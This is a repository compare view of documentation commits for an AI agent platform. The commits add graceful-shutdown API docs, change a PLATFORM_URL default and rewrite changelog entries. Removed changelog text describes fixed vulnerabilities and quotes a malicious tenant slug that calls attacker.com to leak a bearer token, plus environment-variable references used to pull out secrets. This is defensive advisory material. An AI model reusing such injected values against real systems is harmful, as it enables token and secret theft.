Compare commits

..

3 Commits

Author SHA1 Message Date
documentation-specialist 1496da1abf docs(changelog): add 2026-05-13 entry for stop_event + PLATFORM_URL fix
Secret scan / secret-scan (pull_request) Successful in 13s
CI / build (pull_request) Successful in 1m59s
Pairs molecule-sdk-python#8 (stop_event graceful shutdown) and
molecule-ai-workspace-runtime#12 (PLATFORM_URL default alignment).
Also notes molecule-core#773/776/777/781 internal CI hardening.

Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
2026-05-13 04:33:35 +00:00
documentation-specialist 534d48005a Merge origin/main to sync with latest changelog entries 2026-05-13 04:33:21 +00:00
documentation-specialist cf20fcdfe7 docs(remote-workspaces): add stop_event for graceful shutdown + PLATFORM_URL fix
Secret scan / secret-scan (pull_request) Successful in 1m24s
CI / build (pull_request) Successful in 2m40s
Pair PRs molecule-sdk-python #8 and molecule-ai-workspace-runtime #12:
- Add stop_event parameter to run_heartbeat_loop example (60-second quick-start)
- Add full run_heartbeat_loop API reference section with stop_event, max_iterations, task_supplier
- Add run_agent_loop API reference section with handler, delivery, stop_event params
- Update PLATFORM_URL default in workspace-runtime.md env var example:
  http://platform:8080http://host.docker.internal:8080
  (aligns with the runtime fix that consolidated defaults across all modules)

Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
2026-05-13 04:31:06 +00:00
4 changed files with 79 additions and 45 deletions
@@ -42,7 +42,7 @@ Common runtime environment variables:
```bash
WORKSPACE_ID=ws-123
WORKSPACE_CONFIG_PATH=/configs
PLATFORM_URL=http://platform:8080
PLATFORM_URL=http://host.docker.internal:8080
PARENT_ID=
AWARENESS_URL=http://awareness:37800
AWARENESS_NAMESPACE=workspace:ws-123
+7 -12
View File
@@ -8,25 +8,20 @@ Entries are published daily at 23:50 UTC.
---
## 2026-05-14
## 2026-05-13
### 🔒 Security
### ✨ New features
- **CWE-78 regression in `expandWithEnv` POSIX-identifier guard fixed (Critical)**: the shell-identifier guard in `expandWithEnv` (`org_helpers.go:82`) was inadvertently removed during a regression window between staging and main promotion. This guard prevents org YAML configurations from expanding invalid shell identifiers (e.g. `${HOME}`, `${DOCKER_HOST}`, `${AWS_SECRET_ACCESS_KEY}`) as environment variables — blocking secret exfiltration via malicious `workspace_dir` or channel config fields. Restored with regression tests covering `${0}`, `${5}`, `${1VAR}`, `${}`, `$0`, `$5`. Full advisory: [Security Changelog](/docs/security/changelog). (`molecule-core` [#1030](https://git.moleculesai.app/molecule-ai/molecule-core/pulls/1030))
- **OFFSEC-006: tenant-slug SSRF + bearer-token exfiltration in self-hosted promotion script (HIGH)**: `scripts/promote-tenant-image.sh` interpolated tenant slugs directly into URL paths and ECR identifiers without validation. A malicious slug such as `?url=https://attacker.com&token=$CP_TOKEN` could redirect HTTP calls to an attacker-controlled host (SSRF) and cause the platform's bearer token to appear in the attacker's server logs. Two-layer fix applied: `set -f` disables bash glob expansion (preventing metacharacter injection via `*`, `?`, `[`), and `validate_slug()` rejects any slug not matching RFC-1123 (`^[a-z0-9]([a-z0-9-]{0,61}[a-z0-9])?$`) with exit code 64 before any network call. Self-hosted operators must upgrade `molecule-core` to include this fix. Full advisory: [OFFSEC-006 advisory](/docs/security/offsec-006-slug-ssrf-advisory). (`molecule-core` [#933](https://git.moleculesai.app/molecule-ai/molecule-core/pulls/933))
- **OFFSEC-003: workspace-side A2A boundary marker escaping (trust boundary hardening)**: the `tool_delegate_task` workspace tool now wraps delegation output with `_A2A_BOUNDARY_START_ESCAPED` / `_A2A_BOUNDARY_END_ESCAPED` instead of raw markers, preventing raw boundary markers from leaking into output alongside their escaped form. Additionally, responses containing the raw closer `[A2A_RESULT_FROM_PEER]` are now truncated before sanitization — so injection of the raw closer cannot be retroactively re-added by the sanitization pass. Together with the platform-side sanitization (shipped 2026-05-11), this closes the full OFFSEC-003 trust-boundary for delegation result delivery. (`molecule-core` [#1073](https://git.moleculesai.app/molecule-ai/molecule-core/pulls/1073))
- **Graceful shutdown support for remote agents**: `run_heartbeat_loop()` and `run_agent_loop()` in `molecule-sdk-python` now accept a `stop_event: threading.Event` parameter. Set the event from a SIGTERM handler to exit the loop cleanly with return value `"stopped"` — enabling proper graceful shutdown in Kubernetes, Docker, and other container-orchestrated environments. (`molecule-sdk-python` [#8](https://git.moleculesai.app/molecule-ai/molecule-sdk-python/pulls/8))
### 🐛 Bug fixes
### 🔧 Fixes
- **`expandWithEnv` POSIX-identifier guard regression restored**: the same fix as above — restores the guard that was removed during a refactor, ensuring invalid shell identifiers in org YAML configs are returned literally instead of being interpreted as environment variable references. (`molecule-core` [#1030](https://git.moleculesai.app/molecule-ai/molecule-core/pulls/1030))
- **Canvas WCAG 1.4.3 contrast ratio fixed for TIER_CONFIG legend**: the tier legend text in the canvas now meets the 4.5:1 contrast ratio required by WCAG 1.4.3 for normal text. (`molecule-core` [#990](https://git.moleculesai.app/molecule-ai/molecule-core/pulls/990))
- **Canvas focus-visible rings added to icon and text buttons**: focus-visible rings (`focus-visible:ring-2`) now render on icon buttons and text-only buttons in the canvas, restoring WCAG 2.1 AA compliance for all interactive elements. (`molecule-core` [#988](https://git.moleculesai.app/molecule-ai/molecule-core/pulls/988))
- **OpenClaw template `models` config moved to correct level**: the OpenClaw workspace template's `config.yaml` had `models` at the top level, but the platform template handler reads from `runtime_config.models`. This caused `/templates` to return empty models and providers → a blank "Missing API Keys" dialog with no selectable providers, disabling the Deploy button. Moved all model entries under `runtime_config` and added Groq and OpenRouter as alternative providers alongside OpenAI. (`molecule-ai-workspace-template-openclaw` [#4](https://git.moleculesai.app/molecule-ai/molecule-ai-workspace-template-openclaw/pulls/4))
- **PLATFORM_URL defaults aligned across all runtime modules**: all workspace runtime modules (`a2a_cli.py`, `a2a_client.py`, `a2a_mcp_server.py`, and 10 others) now consistently default `PLATFORM_URL` to `http://host.docker.internal:8080`. Previously some modules defaulted to `http://platform:8080`, causing connection failures in containerized deployments where the Docker host is not named `platform`. (`molecule-ai-workspace-runtime` [#12](https://git.moleculesai.app/molecule-ai/molecule-ai-workspace-runtime/pulls/12))
### 🧹 Internal
- **CI infrastructure improvements** (`molecule-core`): `ci-required-drift` workflow updated with job-level `if:` guards to skip `github.ref`-gated jobs in the merge-queue context; `canvas-build` job now has an explicit 20-minute timeout; gitea merge-queue test mocks updated to match current push-gate behavior. (`molecule-core` [#1029](https://git.moleculesai.app/molecule-ai/molecule-core/pulls/1029), [#1006](https://git.moleculesai.app/molecule-ai/molecule-core/pulls/1006), [#1035](https://git.moleculesai.app/molecule-ai/molecule-core/pulls/1035))
- **Handler test coverage additions** (`molecule-core`): 60+ new SQL-mock test cases covering `InstructionsHandler`, `ScheduleHandler` (28 cases), and the `expandWithEnv` POSIX guard regression suite. (`molecule-core` [#1030](https://git.moleculesai.app/molecule-ai/molecule-core/pulls/1030), [#1005](https://git.moleculesai.app/molecule-ai/molecule-core/pulls/1005), [#999](https://git.moleculesai.app/molecule-ai/molecule-core/pulls/999))
- **Canvas CI hardening**: publish workflow updated to pipefail-safe shell probes; Gitea cache export no longer masks errors; canvas image published to ECR. (`molecule-core` [#773](https://git.moleculesai.app/molecule-ai/molecule-core/pulls/773), [#776](https://git.moleculesai.app/molecule-ai/molecule-core/pulls/776), [#777](https://git.moleculesai.app/molecule-ai/molecule-core/pulls/777))
- **Go lint CI hardening**: `golangci-lint run` no longer masked with `|| true`, so lint failures now fail the build loudly instead of being silently swallowed. (`molecule-core` [#781](https://git.moleculesai.app/molecule-ai/molecule-core/pulls/781))
---
+71 -1
View File
@@ -119,12 +119,20 @@ secrets = client.pull_secrets() # Phase 30.2 — decrypt API keys
print("Secrets:", list(secrets.keys()))
# Keep alive + respond to platform commands
import threading, signal, sys
stop_event = threading.Event()
signal.signal(signal.SIGTERM, lambda *_: stop_event.set())
client.run_heartbeat_loop(
task_supplier = lambda: {
"current_task": "idle",
"active_tasks": 0,
}
},
stop_event = stop_event,
)
# → exits with "stopped" on SIGTERM, "paused" if platform pauses us,
# "removed" if the workspace is deleted, or loops forever if neither.
EOF
```
@@ -192,6 +200,68 @@ Each inbound message carries these fields in addition to the standard A2A fields
> **Note:** `peer_name`, `peer_role`, and `agent_card_url` are enriched from the platform's peer registry at dispatch time. They are `None` if the sending peer has not registered an agent card.
### run_heartbeat_loop(stop_event=, max_iterations=, task_supplier=)
Drives heartbeat + state-poll on a timer. Returns the terminal status when the loop exits.
```python
import threading, signal
stop_event = threading.Event()
signal.signal(signal.SIGTERM, lambda *_: stop_event.set())
status = client.run_heartbeat_loop(
max_iterations = None, # None = run until paused/deleted; int = stop after N ticks
task_supplier = lambda: { # optional — report current task to the canvas
"current_task": "idle",
"active_tasks": 0,
},
stop_event = stop_event, # set() to exit cleanly with return value "stopped"
)
# status is one of: "stopped" | "paused" | "removed" | "max_iterations"
```
| Parameter | Type | Description |
|---|---|---|
| `stop_event` | `threading.Event \| None` | When set, the loop exits cleanly with `"stopped"`. Use in a SIGTERM handler for graceful Kubernetes/Docker shutdown. Ignored when `None`. |
| `max_iterations` | `int \| None` | Stop after N loop iterations. `None` (default) = run until the workspace is paused or deleted. |
| `task_supplier` | `callable \| None` | Zero-arg callable returning `{"current_task": str, "active_tasks": int}`. Reports activity to the canvas on each tick. |
Errors from the heartbeat or state poll are logged and the loop continues — a transient platform hiccup does not take the agent offline.
### run_agent_loop(handler, delivery=, stop_event=, max_iterations=, task_supplier=)
Combined heartbeat + state-poll + inbound-delivery loop. The recommended entry point for external agent authors: registers, heartbeats, state-polls, and dispatches inbound A2A messages in one synchronous call.
```python
from molecule_agent import RemoteAgentClient, PollDelivery
import threading, signal
stop_event = threading.Event()
signal.signal(signal.SIGTERM, lambda *_: stop_event.set())
async def handle(msg):
print(f"Got message: {msg.method}")
return "Acknowledged"
status = client.run_agent_loop(
handler = handle,
delivery = None, # defaults to PollDelivery — correct for agents without a public URL
stop_event = stop_event, # set() to exit cleanly
max_iterations = None,
task_supplier = lambda: {"current_task": "idle", "active_tasks": 0},
)
# status is one of: "stopped" | "paused" | "removed" | "max_iterations"
```
| Parameter | Type | Description |
|---|---|---|
| `handler` | `Callable[[InboundMessage], str \| None]` | Called once per inbound A2A message. Return a non-empty string to auto-reply; `None` to skip the reply. |
| `delivery` | `InboundDelivery \| None` | Delivery mechanism. Defaults to `PollDelivery` (polling, no inbound URL needed). Pass `PushDelivery` wrapped around an `A2AServer` for push-mode agents. |
| `stop_event` | `threading.Event \| None` | When set, the loop exits cleanly with `"stopped"`. Ignored when `None`. |
| `max_iterations` | `int \| None` | Stop after N loop iterations. `None` = run until paused/deleted. |
| `task_supplier` | `callable \| None` | Zero-arg callable returning `{"current_task": str, "active_tasks": int}`. |
### Security: OFFSEC-003 — trust-boundary markers on peer responses
When a remote workspace receives a `delegate_task` response from an external peer, the platform wraps the peer-generated content in `[A2A_RESULT_FROM_PEER]...[/A2A_RESULT_FROM_PEER]` trust-boundary markers. These markers signal to the agent that the enclosed content originated outside the platform's trust boundary and must not be re-injected as platform-native output.
-31
View File
@@ -9,37 +9,6 @@ This page documents security fixes shipped in the Molecule AI platform. Each ent
---
## 2026-05-14 — CWE-78: Regression in `expandWithEnv` POSIX-identifier Guard
**Severity:** Critical (CWE-78)
**PR:** [#1030](https://git.moleculesai.app/molecule-ai/molecule-core/pull/1030)
**Affected:** `workspace-server/internal/handlers/org_helpers.go``expandWithEnv`
### Vulnerability
`expandWithEnv` expands `${VAR}` and `$VAR` references in org YAML configuration fields (notably `workspace_dir` and channel config) using the current process environment. The POSIX shell-identifier guard was inadvertently removed during a regression window between staging and main promotion, causing digit-prefixed and empty keys to be passed through to `os.Getenv` instead of being returned literally.
An attacker who can supply org YAML (e.g., via a compromised org template import or a malicious admin account) could inject references such as `${HOME}`, `${DOCKER_HOST}`, `${AWS_SECRET_ACCESS_KEY}`, or `${PATH}` to exfiltrate host secrets into workspace or channel configuration fields.
### Fix
Restored the POSIX identifier guard at `org_helpers.go:82`. Keys not starting with `[a-zA-Z_]` (including empty key) are now returned literally as `$key` without consulting `os.Getenv`:
```go
c := key[0]
if !((c >= 'a' && c <= 'z') || (c >= 'A' && c <= 'Z') || c == '_') {
return "$" + key // not a valid shell identifier — return literally
}
```
Regression tests cover `${0}`, `${5}`, `${1VAR}`, `${}`, `$0`, `$5`.
### User-facing summary
Org YAML configuration fields no longer expand invalid shell identifiers as environment variables. Configurations containing `${0}`, `${}`, or `${1VAR}` patterns are returned as-is. If you observe literal `$` prefixes appearing in workspace directory or channel configuration fields after upgrading, this indicates a previously-masked configuration issue — contact support.
---
## 2026-04-20 — CWE-22: Path Traversal in `copyFilesToContainer`
**Severity:** High (CWE-22)